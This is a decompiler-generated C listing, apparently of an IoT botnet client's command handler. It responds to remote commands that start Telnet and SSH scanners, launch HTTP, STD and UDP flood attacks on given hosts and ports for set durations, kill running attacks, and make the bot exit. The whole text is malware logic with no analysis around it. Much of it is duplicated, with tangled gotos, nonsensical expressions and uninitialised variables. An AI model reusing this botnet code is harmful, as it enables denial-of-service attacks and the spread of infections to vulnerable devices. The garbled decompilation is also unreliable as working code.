int32_t v26; | |
int32_t v27 = ((int32_t)(v25 | strncmp_rc % 2 == 0) | v26 & -256) ^ 1; // 0x804f78a | |
char * fd; // 0x805b480 | |
if ((0x1000000 * (v27 - (int32_t)v25) || 0xffffff) < 0x1ffffff) { | |
// 0x804f79d | |
sockprintf((int32_t)fd, "PONG!"); | |
sockprintf((int32_t)fd, "PONG!"); | |
// branch -> 0x8050159 | |
} else { | |
uint32_t strncmp_rc2 = strncmp((char *)*str, "GETLOCALIP", 11); | |
v23 = strncmp_rc2 % 2 == 0; | |
bool v28 = false; // 0x804f7d9 | |
int32_t v29 = ((int32_t)(v28 | strncmp_rc2 % 2 == 0) | v27 & -256) ^ 1; // 0x804f7d9 | |
if ((0x1000000 * (v29 - (int32_t)v28) || 0xffffff) < 0x1ffffff) { | |
// 0x804f7ec | |
in = (struct in_addr){ | |
.e0 = 0 | |
}; | |
int32_t v30; // 0x8061708 | |
in.e0 = v30; | |
inet_ntoa(in); | |
sockprintf((int32_t)fd, "My IP: %s"); | |
sockprintf((int32_t)fd, "My IP: %s"); | |
// branch -> 0x8050159 | |
} else { | |
uint32_t strncmp_rc3 = strncmp((char *)*str, "SCANNER", 8); | |
v23 = strncmp_rc3 % 2 == 0; | |
bool v31 = false; // 0x804f846 | |
int32_t v32 = ((int32_t)(v31 | strncmp_rc3 % 2 == 0) | v29 & -256) ^ 1; // 0x804f846 | |
int32_t v33 = v32; // edx | |
bool v34; | |
int32_t * str3; // 0x804fa99_0 | |
int32_t * str4; // 0x804fab1_0 | |
int32_t * str13; // 0x804fc03_0 | |
int32_t * str14; // 0x804fc1b_0 | |
int32_t * str6; // 0x804fd68_0 | |
int32_t * str7; // 0x804fd81_0 | |
int32_t * str8; // 0x804fd9a_0 | |
int32_t * str9; // 0x804fdb3_0 | |
int32_t str_as_i3; // 0x804fb36 | |
int32_t str_as_i4; // 0x804fb48 | |
uint32_t str_as_i5; // 0x804fb64 | |
int32_t str_as_i16; // 0x804fc44 | |
int32_t str_as_i17; // 0x804fc57 | |
char * next_token2; // 0x804fc84 | |
int32_t result3; // 0x804fcdb | |
int32_t str_as_i6; // 0x804fdd1 | |
int32_t str_as_i7; // 0x804fdec | |
int32_t str_as_i8; // 0x804fe0b | |
int32_t str_as_i9; // 0x804fe2f | |
int32_t str_as_i10; // 0x804fe42 | |
int32_t str_as_i11; // 0x804fe55 | |
int32_t str_as_i12; // 0x804fe68 | |
char * next_token; // 0x804fee5 | |
int32_t v35; // 0x804ff5e | |
int32_t v36; // 0x805b48c | |
int32_t result2; // 0x8050163_2 | |
int32_t v37; // 0x8050142 | |
int32_t v38; | |
int32_t str_as_i13; | |
uint32_t strncmp_rc7; | |
uint32_t strncmp_rc8; | |
char * str15; | |
uint32_t strncmp_rc9; | |
char * str12; | |
uint32_t strncmp_rc10; | |
uint32_t strncmp_rc11; | |
bool v39; // 0x804fa72 | |
bool v40; // 0x804fbdc | |
bool v41; // 0x804fd41 | |
bool v42; // 0x8050011 | |
bool v43; // 0x805013a | |
int32_t str5; // 0x804fb31 | |
int32_t v44; // 0x804fb55 | |
int32_t v45; // 0x804fb74 | |
int32_t v46; // 0x804fb7e | |
int32_t v47; // 0x804fc34 | |
int32_t str10; // 0x804fe06 | |
int32_t v48; // 0x804fe1f | |
int32_t str11; // 0x804fe7c | |
int32_t v49; // 0x804fa72 | |
int32_t v50; // 0x804fbdc | |
int32_t v51; // 0x804fd41 | |
int32_t v52; // 0x8050011 | |
int32_t v53; // 0x80500d8118 | |
if ((0x1000000 * (v32 - (int32_t)v31) || 0xffffff) < 0x1ffffff) { | |
// 0x804f85d | |
if (a1 != 2) { | |
int32_t result = (int32_t)sockprintf((int32_t)fd, "SCANNER SSH/TELNET ON | OFF"); // 0x804f873_3 | |
// branch -> 0x8050159 | |
// 0x8050159 | |
return result; | |
} | |
int32_t * str2 = (int32_t *)(v22 + 4); // 0x804f883_0 | |
uint32_t strncmp_rc4 = strncmp((char *)*str2, "OFF", 4); | |
v23 = strncmp_rc4 % 2 == 0; | |
bool v54 = str > (int32_t *)-5; // 0x804f8b4 | |
int32_t v55 = ((int32_t)(v54 | strncmp_rc4 % 2 == 0) | v33 & -256) ^ 1; // 0x804f8b4 | |
v33 = v55; | |
int32_t v56; | |
char * v57 = (char *)v56; | |
int32_t pid; // 0x806170c | |
int32_t v58; | |
int32_t v59; | |
int32_t v60; | |
int32_t v61; | |
int32_t v62; | |
char * v63; // bp-268 | |
if ((0x1000000 * (v55 - (int32_t)v54) || 0xffffff) < 0x1ffffff) { | |
// 0x804f8cb | |
if (pid == 0) { | |
// 0x8050159 | |
return 0; | |
} | |
// 0x804f8d8 | |
sockprintf((int32_t)fd, "SCANNERS STOPPED\n"); | |
kill(pid, SIGKILL); | |
pid = 0; | |
uint32_t strncmp_rc5 = strncmp((char *)*str2, "TELNET ON", 10); | |
v23 = strncmp_rc5 % 2 == 0; | |
bool v64 = str > (int32_t *)-5; // 0x804f943 | |
int32_t v65 = ((int32_t)(v64 | strncmp_rc5 % 2 == 0) | v26 & -256) ^ 1; // 0x804f943 | |
v33 = v65; | |
if ((0x1000000 * (v65 - (int32_t)v64) || 0xffffff) < 0x1ffffff) { | |
int32_t v66 = pid; // 0x804f956 | |
result2 = v66; | |
if (v66 == 0) { | |
int32_t v67 = fork(); // 0x804f963 | |
v63 = "forking.."; | |
puts("forking.."); | |
if (v67 == 0) { | |
// 0x804f994 | |
TelnetScanner((int32_t)v63, (struct sockaddr *)9, (struct _TYPEDEF_fd_set *)v62, (struct _TYPEDEF_fd_set *)v61, (struct timeval *)v60, v59, 0, 0, v58); | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x804f97d | |
pid = v67; | |
result2 = v67; | |
// branch -> 0x8050159 | |
} | |
// 0x8050159 | |
return result2; | |
} | |
v57 = (char *)9; | |
} | |
uint32_t strncmp_rc6 = strncmp((char *)*str2, "SSH ON", 7); | |
v23 = strncmp_rc6 % 2 == 0; | |
bool v68 = str > (int32_t *)-5; // 0x804f9dc | |
int32_t v69 = ((int32_t)(v68 | strncmp_rc6 % 2 == 0) | v33 & -256) ^ 1; // 0x804f9dc | |
if ((0x1000000 * (v69 - (int32_t)v68) || 0xffffff) < 0x1ffffff) { | |
int32_t v70 = pid; // 0x804f9ef | |
if (v70 == 0) { | |
int32_t v71 = fork(); // 0x804f9fc | |
v63 = "forking.."; | |
puts("forking.."); | |
if (v71 == 0) { | |
// 0x804fa2d | |
SSHScanner((int32_t)v63, (struct sockaddr *)v57, (struct _TYPEDEF_fd_set *)v62, (struct _TYPEDEF_fd_set *)v61, (struct timeval *)v60, v59, 0, 0, v58); | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x804fa16 | |
pid = v71; | |
result2 = v71; | |
// branch -> 0x8050159 | |
} else { | |
result2 = v70; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
// 0x804fa3e | |
strncmp_rc7 = strncmp((char *)*str, "HTTPFLOOD", 10); | |
v23 = strncmp_rc7 % 2 == 0; | |
v39 = false; | |
v49 = ((int32_t)(v39 | strncmp_rc7 % 2 == 0) | v69 & -256) ^ 1; | |
if ((0x1000000 * (v49 - (int32_t)v39) || 0xffffff) < 0x1ffffff) { | |
// 0x804fa89 | |
if (a1 >= 6) { | |
// 0x804fa93 | |
str3 = (int32_t *)(v22 + 12); | |
int32_t str_as_i = atoi((char *)*str3); // 0x804fa9e | |
if (str_as_i >= 1) { | |
// 0x804faab | |
str4 = (int32_t *)(v22 + 20); | |
int32_t str_as_i2 = atoi((char *)*str4); // 0x804fab6 | |
if (str_as_i2 > 0) { | |
int32_t v72 = listFork(); // 0x804fac4 | |
if (v72 == 0) { | |
// 0x804fad1 | |
atoi((char *)*str4); | |
atoi((char *)*str3); | |
sockprintf((int32_t)fd, "HTTP %s Flooding %s:%d for %d seconds"); | |
str_as_i3 = atoi((char *)str5); | |
str_as_i4 = atoi((char *)*str4); | |
str_as_i5 = atoi((char *)*str3); | |
sendHTTP((char *)v46, (char *)v45, str_as_i5 % 0x10000, (char *)v44, str_as_i4, str_as_i3); | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v72; | |
} else { | |
result2 = str_as_i2; | |
} | |
} else { | |
result2 = str_as_i; | |
} | |
} else { | |
result2 = 0; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
// 0x804fba8 | |
strncmp_rc8 = strncmp((char *)*str, "STD", 4); | |
v23 = strncmp_rc8 % 2 == 0; | |
v40 = false; | |
v50 = ((int32_t)(v40 | strncmp_rc8 % 2 == 0) | v49 & -256) ^ 1; | |
v26 = v50; | |
if ((0x1000000 * (v50 - (int32_t)v40) || 0xffffff) >= 0x1ffffff) { | |
// 0x804fd0d | |
strncmp_rc9 = strncmp((char *)*str, "UDP", 4); | |
v23 = strncmp_rc9 % 2 == 0; | |
v41 = false; | |
v51 = ((int32_t)(v41 | strncmp_rc9 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v51; | |
if ((0x1000000 * (v51 - (int32_t)v41) || 0xffffff) < 0x1ffffff) { | |
// 0x804fd58 | |
if (a1 >= 6) { | |
// 0x804fd62 | |
str6 = (int32_t *)(v22 + 12); | |
if (atoi((char *)*str6) != -1) { | |
// 0x804fd7b | |
str7 = (int32_t *)(v22 + 8); | |
if (atoi((char *)*str7) != -1) { | |
// 0x804fd94 | |
str8 = (int32_t *)(v22 + 16); | |
if (atoi((char *)*str8) != -1) { | |
// 0x804fdad | |
str9 = (int32_t *)(v22 + 20); | |
if (atoi((char *)*str9) != -1) { | |
// 0x804fdc6 | |
str_as_i6 = atoi((char *)*str9); | |
if (str_as_i6 <= 0xffdc) { | |
// 0x804fde1 | |
str_as_i7 = atoi((char *)*str8); | |
if (str_as_i7 <= 32) { | |
// 0x804fdfa | |
if (a1 == 7) { | |
// 0x804fe00 | |
str_as_i8 = atoi((char *)str10); | |
if (str_as_i8 <= 0) { | |
// 0x8050159 | |
return str_as_i8; | |
} | |
} | |
// 0x804fe19 | |
str_as_i9 = atoi((char *)*str7); | |
str_as_i10 = atoi((char *)*str6); | |
str_as_i11 = atoi((char *)*str8); | |
str_as_i12 = atoi((char *)*str9); | |
str_as_i13 = 10; | |
if (a1 == 7) { | |
// 0x804fe76 | |
str_as_i13 = atoi((char *)str11); | |
// branch -> 0x804fe92 | |
} | |
// 0x804fe92 | |
str12 = (char *)v48; | |
if (strchr(str12, 44) == NULL) { | |
// 0x804ff5e | |
v35 = listFork(); | |
if (v35 == 0) { | |
// 0x804ff6b | |
sockprintf((int32_t)fd, "UDP Flooding %s:%d for %d seconds."); | |
sendUDP((int32_t *)v48, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v35; | |
} else { | |
// 0x804feb3 | |
sockprintf((int32_t)fd, "UDP Flooding %s for %d seconds."); | |
next_token = strtok(str12, ","); | |
if (next_token != NULL) { | |
// 0x804feef | |
// branch -> 0x804feef | |
while (true) { | |
// 0x804feef | |
if (listFork() != 0) { | |
goto lab_0x804ff3f_4; | |
} | |
// 0x804fef8 | |
sendUDP((int32_t *)next_token, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
} | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
result2 = str_as_i7; | |
} else { | |
result2 = str_as_i6; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = 0; | |
} | |
} else { | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
// 0x804fbf3 | |
if (a1 >= 4) { | |
// 0x804fbfd | |
str13 = (int32_t *)(v22 + 8); | |
int32_t str_as_i14 = atoi((char *)*str13); // 0x804fc08 | |
if (str_as_i14 >= 1) { | |
// 0x804fc15 | |
str14 = (int32_t *)(v22 + 12); | |
int32_t str_as_i15 = atoi((char *)*str14); // 0x804fc20 | |
if (str_as_i15 > 0) { | |
// 0x804fc2e | |
str_as_i16 = atoi((char *)*str13); | |
str_as_i17 = atoi((char *)*str14); | |
str15 = (char *)v47; | |
if (strchr(str15, 44) == NULL) { | |
// 0x804fcdb | |
result3 = listFork(); | |
if (result3 == 0) { | |
// 0x804fce8 | |
sendSTD(str15, str_as_i16, str_as_i17); | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x8050159 | |
return result3; | |
} | |
// 0x804fc76 | |
next_token2 = strtok(str15, ","); | |
if (next_token2 == NULL) { | |
// 0x804fd0d | |
strncmp_rc9 = strncmp((char *)*str, "UDP", 4); | |
v23 = strncmp_rc9 % 2 == 0; | |
v41 = false; | |
v51 = ((int32_t)(v41 | strncmp_rc9 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v51; | |
if ((0x1000000 * (v51 - (int32_t)v41) || 0xffffff) < 0x1ffffff) { | |
// 0x804fd58 | |
if (a1 >= 6) { | |
// 0x804fd62 | |
str6 = (int32_t *)(v22 + 12); | |
if (atoi((char *)*str6) != -1) { | |
// 0x804fd7b | |
str7 = (int32_t *)(v22 + 8); | |
if (atoi((char *)*str7) != -1) { | |
// 0x804fd94 | |
str8 = (int32_t *)(v22 + 16); | |
if (atoi((char *)*str8) != -1) { | |
// 0x804fdad | |
str9 = (int32_t *)(v22 + 20); | |
if (atoi((char *)*str9) != -1) { | |
// 0x804fdc6 | |
str_as_i6 = atoi((char *)*str9); | |
if (str_as_i6 <= 0xffdc) { | |
// 0x804fde1 | |
str_as_i7 = atoi((char *)*str8); | |
if (str_as_i7 <= 32) { | |
// 0x804fdfa | |
if (a1 == 7) { | |
// 0x804fe00 | |
str_as_i8 = atoi((char *)str10); | |
if (str_as_i8 <= 0) { | |
// 0x8050159 | |
return str_as_i8; | |
} | |
} | |
// 0x804fe19 | |
str_as_i9 = atoi((char *)*str7); | |
str_as_i10 = atoi((char *)*str6); | |
str_as_i11 = atoi((char *)*str8); | |
str_as_i12 = atoi((char *)*str9); | |
str_as_i13 = 10; | |
if (a1 == 7) { | |
// 0x804fe76 | |
str_as_i13 = atoi((char *)str11); | |
// branch -> 0x804fe92 | |
} | |
// 0x804fe92 | |
str12 = (char *)v48; | |
if (strchr(str12, 44) == NULL) { | |
// 0x804ff5e | |
v35 = listFork(); | |
if (v35 == 0) { | |
// 0x804ff6b | |
sockprintf((int32_t)fd, "UDP Flooding %s:%d for %d seconds."); | |
sendUDP((int32_t *)v48, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v35; | |
} else { | |
// 0x804feb3 | |
sockprintf((int32_t)fd, "UDP Flooding %s for %d seconds."); | |
next_token = strtok(str12, ","); | |
if (next_token != NULL) { | |
// 0x804feef | |
// branch -> 0x804feef | |
while (true) { | |
// 0x804feef | |
if (listFork() != 0) { | |
goto lab_0x804ff3f_4; | |
} | |
// 0x804fef8 | |
sendUDP((int32_t *)next_token, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
} | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
result2 = str_as_i7; | |
} else { | |
result2 = str_as_i6; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = 0; | |
} | |
} else { | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
char * v73 = next_token2; | |
while (true) { | |
// 0x804fc8e | |
if (listFork() == 0) { | |
// 0x804fc97 | |
sendSTD(v73, str_as_i16, str_as_i17); | |
exit(0); | |
// UNREACHABLE | |
} | |
lab_0x804fcbc:; | |
char * next_token3 = strtok(NULL, ","); // 0x804fccb | |
if (next_token3 == NULL) { | |
// break -> 0x804fd0d | |
break; | |
} | |
v73 = next_token3; | |
// continue -> 0x804fc8e | |
} | |
// 0x804fd0d | |
strncmp_rc9 = strncmp((char *)*str, "UDP", 4); | |
v23 = strncmp_rc9 % 2 == 0; | |
v41 = false; | |
v51 = ((int32_t)(v41 | strncmp_rc9 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v51; | |
if ((0x1000000 * (v51 - (int32_t)v41) || 0xffffff) < 0x1ffffff) { | |
// 0x804fd58 | |
if (a1 >= 6) { | |
// 0x804fd62 | |
str6 = (int32_t *)(v22 + 12); | |
if (atoi((char *)*str6) != -1) { | |
// 0x804fd7b | |
str7 = (int32_t *)(v22 + 8); | |
if (atoi((char *)*str7) != -1) { | |
// 0x804fd94 | |
str8 = (int32_t *)(v22 + 16); | |
if (atoi((char *)*str8) != -1) { | |
// 0x804fdad | |
str9 = (int32_t *)(v22 + 20); | |
if (atoi((char *)*str9) != -1) { | |
// 0x804fdc6 | |
str_as_i6 = atoi((char *)*str9); | |
if (str_as_i6 <= 0xffdc) { | |
// 0x804fde1 | |
str_as_i7 = atoi((char *)*str8); | |
if (str_as_i7 <= 32) { | |
// 0x804fdfa | |
if (a1 == 7) { | |
// 0x804fe00 | |
str_as_i8 = atoi((char *)str10); | |
if (str_as_i8 <= 0) { | |
// 0x8050159 | |
return str_as_i8; | |
} | |
} | |
// 0x804fe19 | |
str_as_i9 = atoi((char *)*str7); | |
str_as_i10 = atoi((char *)*str6); | |
str_as_i11 = atoi((char *)*str8); | |
str_as_i12 = atoi((char *)*str9); | |
str_as_i13 = 10; | |
if (a1 == 7) { | |
// 0x804fe76 | |
str_as_i13 = atoi((char *)str11); | |
// branch -> 0x804fe92 | |
} | |
// 0x804fe92 | |
str12 = (char *)v48; | |
if (strchr(str12, 44) == NULL) { | |
// 0x804ff5e | |
v35 = listFork(); | |
if (v35 == 0) { | |
// 0x804ff6b | |
sockprintf((int32_t)fd, "UDP Flooding %s:%d for %d seconds."); | |
sendUDP((int32_t *)v48, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v35; | |
} else { | |
// 0x804feb3 | |
sockprintf((int32_t)fd, "UDP Flooding %s for %d seconds."); | |
next_token = strtok(str12, ","); | |
if (next_token != NULL) { | |
char * v74 = next_token; | |
// branch -> 0x804feef | |
while (true) { | |
// 0x804feef | |
if (listFork() == 0) { | |
// 0x804fef8 | |
sendUDP((int32_t *)v74, (char *)str_as_i9, str_as_i10, str_as_i11, (struct sockaddr *)str_as_i12, str_as_i13); | |
close((int32_t)fd); | |
exit(0); | |
// UNREACHABLE | |
} | |
lab_0x804ff3f_4:; | |
char * next_token4 = strtok(NULL, ","); // 0x804ff4e | |
if (next_token4 == NULL) { | |
// break -> 0x804ffdd | |
break; | |
} | |
v74 = next_token4; | |
// continue -> 0x804feef | |
} | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 == 0) { | |
lab_0x80500b8_10:; | |
// 0x80500b8 | |
int32_t v75; // 0x805b488 | |
if (v38 >= v75) { | |
int32_t v76 = (int32_t)fd; | |
if (v53 < 1) { | |
// 0x80500f1 | |
sockprintf(v76, "None Killed."); | |
// branch -> 0x8050106 | |
} else { | |
// 0x80500d2 | |
sockprintf(v76, "Killed %d."); | |
// branch -> 0x8050106 | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) >= 0x1ffffff) { | |
// 0x8050159 | |
return v37 / 0x1000000; | |
} | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
} | |
lab_0x8050038_10:; | |
// 0x8050038 | |
char * v77; // 0x8061710 | |
int32_t * v78 = (int32_t *)((int32_t)v77 + 4 * v38); // 0x8050048_0 | |
int32_t v79 = v53; // 0x80500d8117 | |
if (*v78 != 0) { | |
// 0x805004e | |
if (*v78 != getpid()) { | |
// 0x8050069 | |
int32_t pid2; // 0x8050079 | |
kill(pid2, SIGKILL); | |
v79 = v53 + 1; | |
// branch -> 0x805008e | |
} else { | |
v79 = v53; | |
} | |
} | |
// 0x805008e | |
v53 = v79; | |
v38++; | |
// branch -> 0x8050091 | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) >= 0x1ffffff) { | |
// 0x8050159 | |
return v37 / 0x1000000; | |
} | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
result2 = str_as_i7; | |
} else { | |
result2 = str_as_i6; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = -1; | |
} | |
} else { | |
result2 = 0; | |
} | |
} else { | |
// 0x804ffdd | |
strncmp_rc10 = strncmp((char *)*str, "KILLATTK", 9); | |
v23 = strncmp_rc10 % 2 == 0; | |
v42 = false; | |
v52 = ((int32_t)(v42 | strncmp_rc10 % 2 == 0) | v26 & -256) ^ 1; | |
v26 = v52; | |
v34 = false; | |
if ((0x1000000 * (v52 - (int32_t)v42) || 0xffffff) < 0x1ffffff) { | |
v53 = 0; | |
v38 = 0; | |
while (true) { | |
// 0x8050091 | |
if (v36 != 0) { | |
goto lab_0x8050038_10; | |
} | |
goto lab_0x80500b8_10; | |
} | |
} | |
// 0x8050106 | |
strncmp_rc11 = strncmp((char *)*str, "LOLNOGTFO", 10); | |
v23 = strncmp_rc11 % 2 == 0; | |
v43 = v34; | |
v37 = 0x1000000 * ((((int32_t)(v43 | strncmp_rc11 % 2 == 0) | v26 & -256) ^ 1) - (int32_t)v43); | |
if ((v37 || 0xffffff) < 0x1ffffff) { | |
// 0x805014d | |
exit(0); | |
// UNREACHABLE | |
} | |
result2 = v37 / 0x1000000; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
result2 = str_as_i15; | |
} else { | |
result2 = str_as_i14; | |
} | |
} else { | |
result2 = 0; | |
} | |
// 0x8050159 | |
return result2; | |
} | |
// 0x804fa3e | |
strncmp_rc7 = strncmp((char *)*str, "HTTPFLOOD", 10); | |
v23 = strncmp_rc7 % 2 == 0; | |
v39 = false; | |
v49 = ((int32_t)(v39 | strncmp_rc7 % 2 == 0) | v33 & -256) ^ 1; | |
if ((0x1000000 * (v49 - (int32_t)v39) || 0xffffff) < 0x1ffffff) { | |
// 0x804fa89 | |
if (a1 >= 6) { | |
// 0x804fa93 | |
str3 = (int32_t *)(v22 + 12); | |
if (atoi((char *)*str3) >= 1) { | |
// 0x804faab | |
str4 = (int32_t *)(v22 + 20); | |
if (atoi((char *)*str4) > 0) { | |
// 0x804fac4 | |
if (listFork() == 0) { | |
// 0x804fad1 | |
atoi((char *)*str4); | |
atoi((char *)*str3); | |
sockprintf((int32_t)fd, "HTTP %s Flooding %s:%d for %d seconds"); | |
str_as_i3 = atoi((char *)str5); | |
str_as_i4 = atoi((char *)*str4); | |
str_as_i5 = atoi((char *)*str3); | |
sendHTTP((char *)v46, (char *)v45, str_as_i5 % 0x10000, (char *)v44, str_as_i4, str_as_i3); | |
exit(0); | |
// UNREACHABLE | |
} | |
} | |
} | |
} | |
} else { | |
// 0x804fba8 | |
strncmp_rc8 = strncmp((char *)*str, "STD", 4); | |
v23 = strncmp_rc8 % 2 == 0; | |
v40 = false; | |
v50 = ((int32_t)(v40 | strncmp_rc8 % 2 == 0) | v49 & -256) ^ 1; | |
